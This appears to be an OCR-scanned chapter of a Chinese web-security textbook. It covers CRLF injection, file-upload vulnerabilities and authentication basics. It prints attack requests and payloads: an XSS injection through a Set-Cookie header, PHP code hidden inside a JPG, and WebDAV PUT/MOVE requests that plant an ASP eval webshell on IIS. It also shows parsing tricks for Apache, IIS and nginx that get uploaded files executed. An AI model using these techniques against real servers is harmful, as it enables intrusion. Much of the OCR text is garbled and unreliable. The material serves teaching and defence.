Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeq,
application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, application/x-silverlight, */*

Referer: http://www.a.com/test.html

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Proxy-Connection: Keep-Alive

Content-Length: 103

Host: login.xiaonei.com

Pragma: no-cache

Cookie:  utmc=204579609; XNESSESSIONID=abcThVKoGZNy6aSjWVv54r; de=axis@ph4ntOm.org;
_ utma=204579609.2036071383.1229329685.1229336555.1229347798.4;  utmb=204579609;

_ utmz=204579609.1229336555.3.3.utmccn=(referral) |utmcsr=a.com|utmcct=/test.html |utmc
md=referral; userid=246859805; univid=20001021; gender=1; univyear=0; hostid=246859805;
xn_app histo 246859805=2-3-4-6-7; mop uniq ckid=121.0.29.225 1229340478 541890716;
syshomeforreg=1; 1d=246859805; BIGipServerpool profile=2462586378.20480.0000; de=a;
BIGipServerpool profile=2462586378.20480.0000

password=testtest&origURL=http%253A%252F%252Fwww.xiaonei.com%252FSysHome.do%250d%250a
&formName=&method=

H 55 43R [a]

HTTP/1.1 200 OK
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Server: Resin/3.0.21

Vary: Accept-Encoding

Cache-Control: no-cache

Pragma: no-cache

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Set-Cookie: kl=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT
Set-Cookie: societyguester=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994
16:00:00 GMT

Set-Cookie: de=a

<script>alert (/XSS/) ;</script>; domain=.xiaonei.com; expires=Thu, 10-Dec-2009 13:35:17
GMT

Set-Cookie: login email=null; domain=.xiaonei.com; path=/; expires=Thu, 0l1-Dec-1994
16:00:00 GMT

Content-Type: text/html;charset=UTF-8

Connection: close

Transfer-Encoding: chunked

Date: Mon, 15 Dec 2008 13:35:17 GMT

217b

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.0rg/TR/xhtmll/DTD/xhtmll-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml">

<head>

TR TIR S 28k I, £E Set-Cookie FMEHEIHAN T IR “\\n” BATHT. PR “\v\n” &
W& HTTP k25 W, fEMIRK CRLF 2 J5 R4 )2 HTTP Body. Xiti#& fEP Ik CRLF 2 J5#it
TR HTML A, 7S AT, XSS Beili il

e £ btap ffewr. o con/test. himl | ‘

[testtest [t tp 32PN 2w, xiao [ WETHOOKBENESHEDNSS |

FHERE— 55
@_‘-—\ - http.fflogin.xiamai. com/Login. do?email=af0d¥0a¥0d¥0adseript ralert (FXS3/); (Fseript>
MHE HFEE FEN O WEEe IEAEm o

= _
o ke 14mwjﬂgmlnmammngmdwmaka”| I

CRLF {1 A\ HTTP L S5#) XSS

Cookie fEf A H M My, M2 % 28— 285 S Cookie ™, MM
DAk LI
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{H /& HTTP Response Splitting FF M A& 5 X CRLF i A HTTP Body, A FHBEH A —
A HTTP 3k, B4k 4zl dil.

Eeanyi N> Link 3k, AEBT A RIS FRes il XSS:
Link: <http://www.a.com/xss.css>; REL:stylesheet

MEN:
X-XSS-Protection: O

WA LA IE 8 ) XSS Filter Zhfig. 7 LAl HTTP Response Splitting [1f& 5 H %t XSS if %
Ko BRUOWEBIRT HTTP Ul 538k

STHi CRLF AR R R, HFEEAFRLT “\r”. “\n” XPAMMRE ZAFEAT, JUHEHR
PefFH “WATHR” VBN BRAF RN
7.5 INGS

AN HEE T “Hds 50008 )7 SEMg R, e amASE: 26
TP BB T N s AR PHE T P NI, e S RS AT T .

FERFHUVE AT, LA S S AT BN, A DR R AT
AR, BRI

SQL EAJE Web 224 i NEEAIK, AT TIRZ SQL HEA MBS 5 BT %
B2 T SQL {EASL, AFEANH T —LeILAb i 8 W AT

g b, BN S S B S AR R TT 5 TE AT AT DA R AL o



% 8
Y 15 RE

SCAF AR IR N T R — AN WD RE, R AT O IR 2 EAT A S R 2 O IR
T2 AT IS R

8.1 N & RaEEhA

SO ARG S AL T — AT ROMIA SO, 30 o A SO 545 T TR %%
S e A RS ). KR T R R BRI A, A N LT A AR TR

AR, 1285 H BSCE L AEThAE, Lot AL 3K 58 SR s A2 Bk
S TR RN A AN 6L DI B A B, s,

S AL DA R AN E RS TR, 0T R, 2 I U S 7 T P S
AEFURSS . FTLL SO AL KGR R, (A RS S, R A KB
TRRESCE . B0 SRS B8 A BB AR I AR 24, W B0 05 5L

SO AL IS S B W24 R A

O LSO R Web JIAE S, R4 SL10 Web 28 SRR T T HIP BAEHIBA, S8

AT

O [AESCE 2 Flash [0 40 S0 2 crossdomain.xml, P2 FF A4t Flash 7632058 F (047 2 CE:

b3 3ok 2K A T S S SRS KD

O AR ARTYSOME, ST LA T sl B R R AT

O T SO A 0 PR R A A T RAIAS T TR Py, 7 5 6 B AR T30 U 5 2 B S BT

7, BT TRt RV,
BUE Ah, AR LR 7, B A SO AN, RS B S

SRR, G A TR, B b AN AVE ORI, LN R E ST PHP A,
W “AHCA S IRTE (Local File Include)” $HAT LA, 2545, S n) BUARZE AR .
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FERZHGOLE, SCF AR BGOSR A% Web JIAS GENE IR 55 S Ak AT 7 1) 1 L,
R T H T UL webshell fR) il B, 58Ity 202 W R LA SR

B, PAERISCIFRRIE A Web BEAMAREIAT . JrRASCHR B4R JS TR H S 22 Web 254%
T i 2V A%

Hk, M RES N Web LT IRXAS SO RSP B T, (HH P Joikilid Web Vi,
o T AT Web BEHFREIXANIA, A WARENRZ il o

e, AP PR SO e AT . k. B RS TR As T N2, I AT fg S
A
8.1.1 M FCKEditor 324 _t1EiRiRi% A

THE D AR ) .

FCKEditor J&—#kARH WitAT s SOG4, 4 TR, e — A AR iReE,
EIEXAS D RE RN H I VF 22 KR ] o

FCKEditor £ %} ASP/PHP/ISP S5 IR E5# A X N FIARA, L PHP Mfl, JLSCPF BALThREAE:

http://www.xxx.com/path/FCKeditor/editor/filemanager/browser/default/browser.html?Typ
e=all&Connector=connectors/php/connector.php

Resource Ty =
File =1 &

67 KB
KB
ITKB
X KB
k.0
SKB
1KB
1KB
e
1KB
1KB
ZTKB

Ty Uipload @ new fils in this folder
[ Ciomateewfoder | #E . | Upad |

http: foee. 4. com/ adnin Eckedi tor/ edi tor/ £1 Lensnager/browser/ de faul t/brovser. hinlTConnector=connee 7 ¥ ¥ T ¥ 16 Dntanet | BHRER BR [

FCKEditor [ 3t A% 51k

MPFTITRRA UL, ] P D RERAE RSO EAR Bk SS a% . SCIF Bk R, SORAFAE
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/UserFiles/all/ H 3% F »

FEATAETTR R RRCAS s 2B A SCPR AR SR SRR AE R 1 2 4o ARSI -

$Config['AllowedExtensions'] ['File']l = array() ; //fR¥F EAERET
$Config['DeniedExtensions'] ['File'] =

array ('php', 'php3"', 'php5', 'phtml', 'asp', 'aspx', 'ascx', 'jsp', 'cfm', 'cfc', 'pl’', 'bat’', 'e
xe','dll', 'reg', 'cgi') ;//ZEIb BALRRSETY

KB R AR A B 7 R _EAR SRR . R AL L A0 R ), BRATAESR 1
A RIE, MRA R AR AN B AR

PLIXAN A g, WA EAE )5 480 php2. php4. inc. pwml. asa. cer ZEf) (A,
BRI RE T EUR A 2 A )

1 FCKEditor A& 1 55— 7 NP S e PRt b i), BRI S LA s AR I
20 Web 58 FHIHT, 1872 55 T RROCHE AL IR . 182 PR % 26 FCKEditor I, WTREHSA
SIS AR NSO AT, R BT, AU FCKEditor f0300F A6, —
el F AR

8.1.2 &A1 LK EThEE

FEERRE 1 SCPRRRY B, 115 I A I SO0 43 5 SR TR 0 SRR A
[, AR ARSI, A Rt & T s T L AERRAG POST 4, #E30FE 4 SRV 4%00
P, AT DL RS0 KO S 4 N . DR e V2 2 s ek, ECde C. PHIP 258
T TR, 0x00 BEUNREELRF. SZILMIIEREIA Web T AI— LGl %
5. LW EA R AUV B JPG Y, TBATT B SO 4 (X POST ) %
xxx.php[\0LIPG, Fr[\OD 1751 0x00 /75, JPG St T Wi 1 SCHE AT i
TR B, MESCHEDR S 0 TR0 R, Bk M1 oo php.

%g%m?ﬁ&%%ﬁ%%ﬂﬁi%iﬁ%ﬁ*ﬁ%ﬂm,E%ﬁ%*%ﬁfﬁﬂ%?ﬁ
AT BB R T, RHAEEFRE G 5F 8 P AT IR, § 25 REM,

B TR W B SO AL TR SR T8, AN, 2 TR W b A% SO R SO SR B E
SCAFIIZRAY,

tein—A~ JPG SCfF, HSofEske:

Bros FFE0 D010 446 4946 DOO1 0100 0001 | [f . .JFIF......
00010 0001 0000 FFFE OD3E 4352 4541 544F 5234 .... .>CREATOR:
00020 2067 642D 6470 6567 2076 312E 3020 2875  gd-jpeg v1.0 (u
00030 7369 6E6T 2049 4447 2044 5045 4720 7636 sing IJG JPEG vE
00040 3229 2C20 6465 6661 756C 7420 7175 616C  2), defaulrt gual
00050 €974 7904 FFDE 0043 0008 0606 0706 0508  ity. .C........

JPG ATk
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FEIEFAEOUR, MRAWTHT 10 A 747, A Rl e — A SR LS e Y

N YLEHK MIME  Sniff D) g sibr b 23l i S OCCPEITRT 256 A7, RIS 3
K.

Rk, A T8 W H 2l MIME Sniff fZhaE, WA BT H 15 2 Dh it — AN Ak i o
Sk, TWRF LS PHP 25 AR B £E Sy it Se sk 2 )5, ted:

00000 FFDS FFEOD 0010 4446 4946 0001 0100 0001 LWJFIF ... ..
00010 0001 0000 FFFE OO3E 4352 4541 544F 52340 ... . L >CRELTOR:
00020 Z067 64ZD EATO 6567 2076 31ZE 3020 ZB7S gd-jpeg v1.0 (u
aoo3o 7362 6ERT 2049 4h47 2044 5045 4720 7636 sing IJG JPEG wo
aoo40 3229 2C20 6465 6661 756C 7420 7175 6leC 2], default gual
00050 6974 7904 FFDE 0043 0008 Og06 0706 0508  ity. P

i 7020 6F23 Z93EpM< ?php phpinfol);
Z42E Z7Z0

7068 7

1E1D

063 6E6G

1a1C 1C20

7065

B Fo0

00080 222C 231C 1C28 3729 2C30 3134 3434 1Fz7 ", #..(7),01444."'
00090 393D 3832 3CEZE 3334 3ZFF DEBEOOD 4301 0909 S9=g:2<.34Z2 SCa

Qoo70o p

K AE JPG X Y PHP 184S
{HEI, A5k PHP SRR LK A SO A 4T .

WS, IO Web Server K SCH 44 24 i PHP ST AFAT, DAL PHP AU 2 AT
ARSI SR JPG, ) Web Server ARAT AT RE SISO A i A SCAF AT, T AN2 1 A PHP
fifREAS, BUdi i AP AL -

€« C @ wwr. a. con/h. php

9 @JFIF 9>CREATOR: gd-jpeg vl.0 (using IJG JPEG w62), default quality @C
PHFP Version 5.2.6

Php

System Windows NT ALTEABA-3985N 5.1 build 2600
Build Date May 2 2008 18:01:20

Configure cseript fnolege configmrs. s "—-snable-snapshot-build” “--with-gd=shered” "--with-sxtra-includss=C:\Program Files
Command £t
"PEOGRA"2\NICROS 2\ VCSG\ATLATNCLUDE,; C: \PROGRA™2\NICROS 24V \IRCLUDE  C: \PROGRA™ 2 ICROS ™24 VL85 \NFC IRCLUDE "
extra-1ibs=C: \Frogram Filas (x88)\Microso: £t
SDK\L b £ \PROGRA-Z\HICHDS 2 VC3BALTE. O \PEOGRR-Z\NICRIS 2\ VCaB M LIE™
Server APT  [Apache 2.0 Handler
Virtual enabled
Directory
Support

Confi gurati on |C: WINIONS
File
(php. ini)
Path
Loaded D: \softhdevel ophenvAPHPS \php. ini
Configuration
File

PHP APT 2nna1795

phpinfo() UL i

FERAEERFE AT T, IXAN il SO Sk By ] LA B 7T 2

8.2 IhEEA=E MmO

FESCAE PAR IR R TR R, B A B — 22 R Web Server A SHRFIEAI ST RE, Gk
IR, o2 1si ) BRI o IXAEAE DR A N T OO A BEAT IR N BR AR Web Server
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(104015 P 3 U

8.2.1 Apache Z15§-f##fT o]
LLUn?E Apache 1.xv 2.x "1, XFSCIE4 HOMRNT R AFAE LL R HENE.

Apache X T 3CPE 4 FRARAT & MG FE BT AEAT I, EL238 I—> Apache TA VRSO A 1L,
/i

Phpshell.php.rar.rar.rar.rar.rar

K2R Apache AN rar IXANSCAFREAL, Prllas—Hia ) G483 php, ARG IARIXZE—A
PHP 2 ()3 A

2 Apache 752 5138 WIF L6 SCAF 2 e BTN IR G W 2 X B8 SO 2R 8 52 LAE Apache )
mime.types 3C/FH .

2., mime, bypes |

g I A R St A E
(a2} | # This is a comment. I love comments.
I # This file controls what Internet media types are sent to the client for
8 # given file extension(s). 3Sending the correct wedia type to the client
] # is important so they know how to handle the content of the file.
+3E # Extra types can either be added here or by using an AddType directive

# in your config files. For more information sbout Internet media types,

# please read RFC 2045, 2046, 2047, 2045, and Z077. The Internet media type

# registry i= at <http://wyw.iana.org/assigmments/media-types/>.

# MIME type Extensions

application/activemessage

application/andrew-inset ez

application/applefile

application/atom+xml atom

application/atomeat+xml atomoat

application/atomicmail

application/atomsvo+xml ACOmsve

application/auth-policy+xml
application/batch-smtp
application/beep+xml
application/cals-1840
application/coxml+xml coxml
application/cellml+xml
application/cnrp+xml
application/cormonground
application/conference—info+xml
application/cpl+xml
application/cstatxml
application/cetadatatxml
application/cybercash
application/davmount+xml davinount

Apache httpd server [ mime.types {4
Apache FRIXANRFME, 1R 2 TREIMAES N I JEAGNTE, RIESENIE, wREAT 1) LAt 25 A
HIXSE Web Server 1451 T G o WA IEIXLEIA 25, 55 (1) 22 A0 A Dl g nl g 25 A7 e ik
Fao bolulrar J&—EVEN BAETTR, 76N H B AIW SO G 80 15 2 rar, 2 P BAR)
#& phpshell.php.rar.rar.rar, M-S EPHIAY AT

IR ES R E AN RSUE N PHP ST, £ Apache [R5 SOR B IXAFHEA K -
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Tell Apache to parse certain extensions as PHP. For example, let's have
Apache parse .php files as PHP. Instead of only using the Apache AddType
directive, we want to avoid potentially dangerous uploads and created
files such as exploit.php.jpg from being executed as PHP. Using this
example, you could have any extension(s) parse as PHP by simply adding
them. We'll add .phtml to demonstrate.

<FilesMatch \.php$>

SetHandler application/x-httpd-php
</FilesMatch>

8.2.2 IS 4R fria) @R
IS 6 fEACEESCAERATEY, t Hd — 283 . AT B H 0x00 AW 3CH-44, 46 1IS Al
Windows JEE 88 28 I HEH RAUIRT, AEEBr AT 05 ¢,

M4 K abe.aspi;xx.jpg I, TS 6 S SCAFMET A abe.asp, U BN T, MM
FEPAYE AT Eetn:

http://www.target.com/path/xyz.asp;abc.Jjpg

SPAT xyzasp, MALHE abejpg

BRIt A, 75 1S 6 rhid i 28 i — AN
H SR RIBTAT SCHFRRVE A ASP SCPFIEA TR . Lt

http://www.target.com/path/xyz.asp/abc.Jjpg

IXA™ abe.jpg, M4 ASP SCAFRIEATRRHT o

DX AR BESCA ey e 44 i, 3 80K /* asp/

VERIX AN TS 193RI, w5 ZEAE IS5 45 IR A MR, A SIE A AR R 1R SO sy SO
A FURIE I Web WU HHoR 9 URL, W& e Al A 1 o

XL S EAFAERIIRI, WA RIE BEAE TLIR R A 4R B AN D RAE AN R 190 2
WIS, BAFARLE IS 1, SR PUT DhREHT BRI T AL A )

PUT &7E WebDav F15E X —AN 5. WebDav KoAY & T HTTP B+ GET. POST.
HEAD 283hfig, ‘ERTa& K PUT Jrik, SVFH T AL SO SR € ik 1E | o

FEVFZ Web Server 1, ERINHEEH] 705, BB X RENS AL I SO SRS T ™ R R
HAE IS 1, R HRSCRFERR, [AINTFIE T WebDav, W SCHf PUT J577%, 15454 MOVE
Jrik, B R JRUA SR VE A SUASCAFSUS NIASCA - T HRAT webshell. MOVE REAT 1
AT, BT IS RS8R Ak T “ IATHIE Vs 1] 7 S LLHE

RS B R, B N S S OPTIONS J7 iR IR 5% # SCRFI) HTTP J5528%,
WARSCRE PUT, WIMEH] PUT AR —NMREISCASCIE,  fn il MOVE BSUS M IA ST

45 I OPTIONS #RIM R 25 41 L o
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OFTIONS HTTR/.]
Hosl: wiaw i

pZ4EIR

HTTP/LL 200 OK

Date: Fri, 01 Jan 2010 07:54:55 GMT
Server: Microsoft-115/6.0
X-Powered-By: ASPENET
MS-Author- DAV
Content-Length: 0

Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1,2

Public; OFTIONS, TRACE, GET, HEAD, I}FT.F.TFPOST. COPY.'TKC!)I -
PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH

Allow: OPTIONS, TRACE. GET. HEAD. DELETE. COPY. MOVE, PROPFIND, PROPPATCH,
SEARCH. MKCOL, LOCK, UNLOCK
Cache-Control: private

b EARSORICAT

PUT /test.ext HTTP/L.
Host: wrw s
Content-Length: 26

=Treval(request(“cmd™ ) %>

AR

HTTRA1 201 Created

Date: Fri, 01 Jan 2010 07:57:44 GMT

Server: Microsoft-115/6.0

X-Powered-By: ASPNET

Location:

Content-Length: 0

Allow: OFTIONS, TRACE, GET. HEAD. DELETE. PUT, COPY, MOVE, PROPFIND,
PROPPATCH. SEARCH., LOCE., UNLOCK

I BN S A
=, Wi MOVE 4.

MOVE ftest.ixt HTTP/ .1
Host: ww s
Destination: hitp:A/sw et 's11211.a5

AR [ :

HTTP1.1 201 Created

Date: Fri, 01 Jan 2000 08:09:18 GMT
Server: Microsoft-T15/6.0

X-Powered-By: ASPNET

Location; e/ v NI she 11 osp
Content-Type: text/xml

Content-Length: O
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B -

E N ) 22 SR E zwell WA —A B30 T H “IIS PUT Scanner”, LS RIS
I a8

PUT /alert.txt HTTP/1 A

Host:

Content-Length: 69

HTTP/1.1 100 Continue

There are some secure problems in you system, please fix it.
Zwell

HTTP/1.1 200 OK

MBS A, PUT J5iAIE R 2 4w, #052 d1 T a5 e E AN I KK . WebDav 4%
FRLGHTR TARZ 7 E, (HAURANRE TR 22 i WS MR Y, AT ) R MOT 7K1 .
8.2.3 PHP CGI &= fE a3

2010 F 5 H, BN 24121 80sec & A T —A Nginx i, F&H7E Nginx it & fastegi
i H] PHP I, S5 A7 A SO R AR AT I 8, 3R 4 AL I KT 72 1 ],

JERMATRILAE 2010 4F 1 JJIN, 7% PHP ] bug tracker b7 A 2-%il4E PHP 5.2.12 F
PHP 5.3.1 fitAS FHAC 71X bug.

Bug #50852 FastCGI Responder's accept_path_info behavior needs to be optional

Submitted: 2010-01-27 01:05 UTC Modified: 2010-01-29 00:14 UTC Votes: 2
From: merlin at merlinsbox dot net Assigned: Avg. Score: 45 £ 0.5
Status: Closed Package: CGI related Reproduced: 2 of 2 (100,0%)
PHP Version: 5.%, & Q8 linux, unix Same Version: 1 (50.0%%)
Private report: No CVE-ID! Same OS: 2 (100,0%)

—| View | | Add Comment | ‘ Developer | ‘ Edit |
[2010-01-27 01:05 UTC] merlin at merlinsbox dot net

Dezcription:
I zetup PHP B.2.12 and started 5 fastcgi processes on nginx with a basic location directiwe dispatching all URIs ending
with the PHP extension to PHP' s fastcgi responder daemon. I also configured it to receive SCRIPT_FILENAME (required by
FHP) a= a concatenation of $document_root and the matched URI {which must end in ~.php’ ) and PATH_IN'FO as the requested
URI. Mo other fastcgi parameters were used. I created a file in the document root 'thusl : echo "{prer{?php
var_dunp t§_SERVER) . 7></pre>" » test.txt’ de

["SCRIPT_FILENAME"1=>

string (31) “/path/to/document_root/test.twmt”
["ORIG_SCRIPT_FILENAME" ]=>

string (3T) “/path/to/document_root/test.txt/1. php”

PHP & J7 %It bug ik
HRIAH T AN =J74T
A JE PHP B /7N N IX A& PHP (AN = e, JERFEZ AN TS

1 http://patch.joeysmith.com/acceptpathinfo-5.3.1.patch
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[2010-01-29 00:14 UTC] joey@php.net

For the record, I saw cgi.fix_pathinfo but didn't really understand
the documentation on it - probably my fault. The patch was throwm
together mainly as a personal exercise in understanding the problem
O CECIS N IR e b bl | scc no reazon it should be accepted
into the mainline.

PHP ‘& /7% It bug (¥ [=] 5

XA A — AN ? H9nl DL e 5 Ngink A 5 R&AK, Nginx JURE R —AME
FRAEIE SR 5L f 4 fastegi Server, PHP 7E )5 i AbFRIX—1)) . [RIEAE AL fastegi #4855, PHP
AAAEIE R A, 2 Nginx 7E 4 Web Server I, — A fastegi 1977 20 A A i RE 2%,
XA AL 77 ek W

A IAME I, 4 i)

http://www.xxx.com/path/test.jpg/notexist.php

B, 234 testjpg M PHP iEATH#HT. Notexist.php & AFELERI AT
7E: Nginx S EHCEWF .

location ~ \.php$ {

root html;

fastcgi pass 127.0.0.1:9000;

fastcgi index index.php;

fastcgi param SCRIPT FILENAME /scripts$fastcgi script name;
include fastcgi params;

}

AR WERAEATFTECEY fastegi 1) PHP ML EAL 3K CRTRERE kMR, WATRERiR
IR B EARIP T 8D, LA RS PHP SCIF, PKRE S EURRS AT o JEAb AT BAEA% (kS fF
WISCARSCAE A ST DLR AL

HBUX AN R R S “ A fastegi 77U, PHP JREGAEEASR K707 1%,
PHP [RGB SO AT — AN CBERIE T cgifix_pathinfo, IXANUEIRER AL I A 1)

cgi.fix pathinfo = 1

FE 75 SRR I AN O B A B

cgi.fix pathinfo provides *real* PATH INFO/PATH TRANSLATED support for CGI. PHP's
previous behaviour was to set PATH TRANSLATED to SCRIPT FILENAME, and to not grok
what PATH INFO is. For more information on PATH INFO, see the cgi specs. Setting
this to 1 will cause PHP CGI to fix it's paths to conform to the spec. A setting
of zero causes PHP to behave as before. Default is 1. You should fix your scripts
to use SCRIPT FILENAME rather than PATH TRANSLATED.

cgi.fix pathinfo=1

Ne Nt Se Se Se .

EWL URT IS, SRR AR SE . — AN & PATH INFO, —/M2& SCRIPT FILENAME.

£ LT ] 5

PATH INFO = notexist.php
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BCNEITUN 1 R, EBUR URT B, 635 01 25 0B PR A SRR 4 notexist.php SE A7 4E
(0, PrUUCREAE s N A A, BRIl i I

/*

* if the file doesn't exist, try to extract PATH INFO out

* of it by stat'ing back through the '/'

* this fixes url's like /info.php/test

*/

if (script path translated &&

(script path translated len = strlen(script path translated)) > 0 &&
(script path translated[script path translated len-1] == '/' ||

coo /U

XAMERT IS IR TSR A AR Y /info.php/test iXFl URL, A& IERARKTE] info.php
.

UK SCRIPT_FILENAME 5 240 A SCAF @& A5 A7 AL, JIT A2y 22 /path/test.jpg. 1 PATH_INFO
BEHIE A notexist.php, (EIZEHATHY, testjpg 4724 PHP JEATHEHT

PHP B 745 A BUE S cgifix_pathinfo W& 0, (HATRIFULKIZ, B 7RISR
FERKAR ARV Z 2 “ARfEE” BB,

8.2.4 FALEXHHE

R TAIPFE] Web Server (128 “Ifie” nIRE W& A, Sed SCfF EARTIREN L824
Roey, XSS dein Sl o (AAESERRIAsE T, ARZ NG 555 i A P 5 3 2 DA 7 7 i S
Lo

AL IR SR AR, IR XSS, MRS i 302 B ThAE, MIEH 0 uk kS 218
. AN, £, FIIREER A, W& AR RS 25 302 Bk
DIEERI 1 URL:

http://memberl.taocbao.com/member/login.jhtml?redirect url=http://iten.taobao.avcvtion
.com/auction/item detail.asp?id=1981&a283d5d7c9443d8.jhtml?cm cat=0

HIXAPRyf, ANSR2s(E URL 2k B Ay Rtttk 400 i P el REAN s 24
A SO EAR TR, P al UBR S T HTML B3cfF Cetn—skIE D BAREIH
PRI, AR JE AL RRX AN SO ) URL 2474940, W) URL A Iy bk, 5 5 AT i
‘Hio
EE QT X sk
http://tech.simba.taobao.com/wp-content/uploads/2011/02/item.jpg?l 117
LIPYNSEeT
png

<script language="javascript">
var c=window.location.tostring();
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if (c.indexof ("?2") !=-1) {

var i=c.split("?")[1];

if (1.split("_") [0]==1){
location.href="http://208.43.120.46/images/iteme.asp?id="+1i.split (" ") [1];
telse(
location.href="http://208.43.120.46/images/iteme.asp?id="+i.split (" ") [1];
}

}

</script>

Hp, png @&bhiE RSk, H TS EAGIS SO R Ay BT ok BUWAS,
RAWAAT, R S AR Bk ) 5 E B, A MR R

O AL R A b Ny, T S R 5L B i) URL:
http://tech.simba.taocbao.com/wp-content/uploads/2011/02/item.jpg?1l 117

TEIEHEOLT, WA AR jpg SO 4 HTML $ATHI, (H27ERAR IE |, L
WIIE 6 FIIE 7, 44 IE 8 AUSeAR, M astiier “ AFIEHT" Huks OO 445 HTML $447 .
XA I AR AR S AR S0 F R RIE W UK 5, R — FLA X2 WY s (R, L2 IE 8
19 7 BE58 ) MIME Sniff, 445 T2 fi# .

NSl () £ BER B, AT E SR I 2 4, AR I B AL 5 st ARAZ 2% 18I
e fA) il

KTPIAM G, FAPRAE G 8emy “ M55 247 TR AR .

8.3 RItLRZEHIH 1EIHAE
YT X A% SO AT, B W A B 2 A B BRI RSO AT A
Wg ?

AT THRAER S, SO EARDIREAR B OIFRE, JURAE— S T BGhRE A, A
AT . IRYS B B, 2B H bR I S T LU R LA

1. 30 B0 B R B E AR THAT

HEE Web R TCIEMTIZ H ok NSO, BIAEECE A AL 1T IACSCrE, iRgsas A g A e
SR, I R RO B AESEPR N, AR RISl iy AR N, SO LAl Jm 232
MLIA7AE L, MRS SCPEAR B, — U A S i, FRARPERERURE: oo Ty Bkt 4E
TIASATI R BE e AHEXT T LS A RN ], ERAFAE SO AR DfE, IS5 222
Ko

2. AIMTSCARRA

FEHIWT SO, AT LA, A4 MIME Type. JE @0 245 77 a0 (ESCHERAUG Ak, o
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AU A A 7 SRR SO E R PO A TR Behh, T oAb 2,
A DU 4 bR B o resize pRAL,  AEARERIE T A TRIIN R B rhal A0 55 1) HTMIL ARG

3. EFBENIESE SO S B R

SO EAB G SR AT AR, W F5 2 P RS U In) BIRXAN SCIF o AERELEEA S, H R AT,
HANREYT ) o 0 FENY AT F BB AL S T SO AR TR A, R AR O G I ek (R A o 5 b RIS
1% shell.php.rar.rar IXFfSCPF, BE L crossdomain.xml JXFh SO, #HE R A SO 24 ECS TG
R G

4. BME SRS A HI A

HI 30 A RIS (DGR, — R P im Bl R, LE Al A% crossdomain.xml, A%
f%5 JavaScript (1) XSS F 45 ) UK A3 Btk . (HEER NI E, T 2A HARRL S AL .

SCAF AL, BRI, HES A A AR TR, O Dy R R
W AR R SN REIBOA SIS B AR SS S R R I R R, U A A
PEZ T AW, 258NS K, ARevih S B, ek e LA DkE.

8.4 /NG

FEARF R, BAH T Web 24 b (SO EARNRT . SCHFE EARAOKRSE AN IEF I DhfE, H
RAIM XA DY RERU T LS S AT Fr . WERIN Sk Z 2k, s i A i) S OUAF 78
e, AR R RE T B IR R

A FARAEAL S A ATIR R AE &, BRI T Ik 55 sh 2 AT 20 B AR DhRE, # %
LA T RENTHEAT A A o [N SCA A% ST BEAFAE T N B f L A L 0 755 55 3 I 2 T
R 55 DA i A, A5 B ATTA 3K — &l 25 8 1 ) DR
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ANEEE1EES

LLm
s

CNIE” SRS BRI PP ar. WER DN RERZINET B, WIIRAERER R 2
“AEAT 1. B WRVAIEDT SR T A SR, (HAER T B ANk Tk, ARRE
A4 Web i ILIIAIE T-BE,  BLR— S8 B0 RN 2 4 1)l

91 Who am I?

R, AT AR A BB PSR, AT e TRt dit.
SEfr b AR MR P, AR YESCE Authentication, FAXNIJE Authorization.
IHIF I A LSRR R, G SN WX A

WIERI B BIRA TIVHA PR, TR B #RA T e P Bt 4.

B, B ARG WE T FA PRI LT TR T, AR 7wt it « 8
HPIREIIILHC” ARBEATIIERT, WUERE A0S T R .

PRI FE A, BEFRA “SEUE” (Credential), FFITMIREFE, 5 B LTI (1) )2 6 5%
(Login),

WRITTIZ G, ArAdiERem, HadiiAgem, st “wB MEFNEE T .

WERBERIE R TN, WA LARFED he B i, thn] DARE IR S, ) LU
AL 4, DGR RAT )R 700 “ e BUR 7o T R R 2N, 4 ml AEmt fUAX
PCVFARAEYD R L ML, A SRVFHEA BN T .

ATULER], “RETHEARNE” X MBURBAR T, 22U R B 1 NIE 2
Y NIPN CEHE 2 YO RNTIRINE

BUEREER T, FPAPIERN, HEHUE A ? GRS E T, sEANIE T
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B RERIPIE, TBAEIETITIT, HEARR TR,

XL, U RO ER LT W, RS L A R T B RN TFBEZ
FEALR, JLH M2 h T REM 0 IEFI N o el 4 BEHERR O P T — A AR R 2 X2 —A>
PreE s, e FFA S R 20T, BT R N WA “AEIE” ki — M A S 4r .
RS —AMRIESS I FEIE, HAbig indear. M. ABGE. 75 B i RE g 7 4 )
A ANIIEUE . ESEFR bt 2 — MNRAE SR it 2 .

WER R — AR UERE H TUE, WIRR G “ B ZE " R A WA s AN EIEg T
NIE, TFR A “XUA . (Two Factors) TAUE” 8¢ “Z R ZIAUE". — MR, 2 P FEIAIER
o B TR FONIE, (ERFE R RS B, 2 FINIEEL 2 BD ER S ok — LA T
H7 .

9.2 ZBBHVARLEE)L
B I LK — FE TBL AT IR A BOA R A KMIBUk, ST A
ELIGE 9 3 A2y S S 0 M T B

ARG A, DR FESEHGEAAR S 8 Bl U B AR — B LS R %
BIT%, RSSO, DN R e EINIETT 5, WA R RS .

RIS SRRV RS IAIETT SIS AN R I R . AR R R IR L
FEAS B ERAT A TS

R | 4 TR a0 T

AT | |

U U] P B i P SR
AR, sk R LR T A R SR

R~ | 61605, BaNE , ROl FEs
TR : (f ==

BATHE : | |

T O PR R i R SR

H AT — AR 2 Seng, (R ARYE OWASPHEFE ) — b sk, FRATI S LLX 2

1 http://www.owasp.org
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b SRS R A S 45
CAURSIWAIE
Ot B R 6 A7 LA L
O WENHERKSEE N 8 AL F, I W FINE.
BRI
O EIX 5 KNG F R
O BN KETFEE ANGFERE B RS R L L dlG
O REATESVEMFRF, H 1234abed, XFhFRFE MR, BLARA 5 55 s
O REEGHINEER AR, i 1111,

BT OWASP HERFIMSENE b, 70 BEPE R, AR P 1 A T i 2 5/ AR
AAICHOROR A BT, WOUR A QQ 5. HONEST. Wefk. Wif s (4T
W)y A F L S AR, KRR DU TR 3R, R A4
R

TRt Twitter #EFH M RE AR, T K0k 300 AR RS B R 81, 2R
